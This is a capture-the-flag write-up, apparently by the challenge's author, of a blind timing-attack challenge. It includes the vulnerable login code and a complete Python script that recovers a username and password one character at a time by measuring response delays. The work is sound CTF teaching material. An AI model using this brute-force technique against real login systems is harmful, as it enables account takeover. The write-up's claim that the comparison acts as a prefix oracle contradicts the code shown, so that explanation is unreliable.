DREAM: sleepy vault, blind timing attack credential recovery

Challenge

I seem to have forgotten most of my credentials for the sleepy vault. All I remember is that my username starts with ;JG[e] and my password starts with 8~5. Can you help me recover my username and password? Remember: optimization is key!

  • Category: web
  • Difficulty: medium

I wrote this for DREAM in 2023.

The only thing you get is a login form. It is a blind challenge: the frontend reveals nothing about which part of the credentials are right, and there is no source to read. What you do get is response times.

Discovery

Random credentials answered in about 200 ms. When the username had the right prefix, the login visibly hung - and the more correct characters, the longer it hung. That’s the whole side channel: the server delays by the number of matching characters, so each one can be tested individually.

Vulnerability

The server compares the input against the stored credentials and delays by the number of matching characters:

function checkMatch(adminValue, userValue) {
    let correctLetters = 0;
    let match = adminValue === userValue;

    if (!match) {
        const minLength = Math.min(adminValue.length, userValue.length);
        for (let i = 0; i < minLength; i++) {
            if (adminValue[i] === userValue[i]) {
                correctLetters++;
            }
        }
    }
    return { match, correctLetters };
}

let delay = 200;
if (correctLetters > 0) {
    delay = correctLetters * 2000;
}
await new Promise((r) => setTimeout(r, delay));

Each correct character adds 2 seconds. The loop compares position by position from the start, so a character only counts when every character before it also matched. That makes the delay a prefix oracle: a candidate at position N only gets the +2 s if positions 0 through N are all correct.

Exploit

I brute-forced both strings one character at a time. The known prefixes (;JG[e] and 8~5) were a free head start.

Two details keep the oracle clean:

  • The known prefix is replaced with null bytes ("\x00" * len(known)), so only the candidate character at the next position decides the count. The delay stays binary: 200 ms for a wrong candidate, 2 s for a correct one. (Sending the real prefix instead would shift the baseline by the prefix length, which still works, but the null-byte version makes each test unambiguous.)
  • The candidates are tried in parallel with a 0.8 s timeout, which sits between the two cases: a correct character takes ~2 s and raises a ReadTimeout, a wrong one returns in ~200 ms. Whichever candidate times out is the next character.
import concurrent.futures
from string import printable

from requests import ReadTimeout, post

endpoint = "https://sleepy-vault.ctf.stromlarsen.com/"


def send(a, character, do_username):
    test = "\x00" * len(a) + character
    data = {"username": test, "password": ""} if do_username else {
        "username": "", "password": test}
    try:
        post(endpoint, data=data, timeout=0.8)
    except ReadTimeout:
        return character
    return None


def brute(do_username, known=""):
    while True:
        found = False
        with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
            futures = [
                executor.submit(send, known, printable[i], do_username)
                for i in range(1, 100)
            ]
            for future in concurrent.futures.as_completed(futures):
                result = future.result()
                if result is not None:
                    known += result
                    found = True
                    break
        if not found:
            return known


username = brute(do_username=True, known=";JG[e]")
password = brute(do_username=False, known="8~5")
print(username, password)

Recovered credentials are ;JG[e]ev!l21<2 and 8~5[T5Wm,5'tj&; logging in with them returns the flag. The whole brute force takes about 25 seconds.